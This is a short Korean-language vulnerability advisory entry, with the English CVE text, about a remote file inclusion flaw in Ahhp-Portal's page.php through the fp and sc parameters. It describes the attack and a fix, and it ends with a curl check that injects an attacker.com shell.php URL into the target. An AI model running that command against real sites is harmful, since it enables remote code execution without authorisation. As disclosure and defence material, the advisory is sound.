🇰🇷 한글 설명
Ahhp-Portal의 page.php에서 fp, sc 매개변수에 대한 입력 검증이 부족하여 발생하는 원격 파일 포함 취약점입니다. 공격자가 악의적인 URL을 매개변수에 삽입하여 원격 서버의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트의 page.php 파일이 사용자가 입력한 URL을 충분히 검증하지 않습니다. 공격자가 악의적인 파일 경로를 입력하면 서버가 이를 실행하게 되어 해킹당할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in page.php in Ahhp-Portal allow remote attackers to execute arbitrary PHP code via a URL in the (1) fp or (2) sc parameter.
📍 영향받는 시스템
Ahhp-Portal (정확한 버전 미지정, 해당 소프트웨어의 영향받는 버전)
⚔️ 공격 벡터
fp 또는 sc 매개변수에 원격 PHP 파일 URL을 주입하여 임의의 PHP 코드 원격 실행 (RFI 공격)
🛡️ 대응 방법
Ahhp-Portal을 최신 버전으로 업데이트하거나 page.php의 입력 검증 로직을 강화하여 외부 파일 포함을 방지합니다.
🔧 검증 코드
대상 웹사이트의 page.php에 외부 URL을 전달했을 때 원격 파일이 실행되는지 확인. PHP 에러나 출력이 반환되면 취약점 존재 가능.
curl -s 'http://target/page.php?fp=http://attacker.com/shell.php' 2>&1 | grep -q 'PHP' && echo 'Vulnerable' || echo 'Not vulnerable'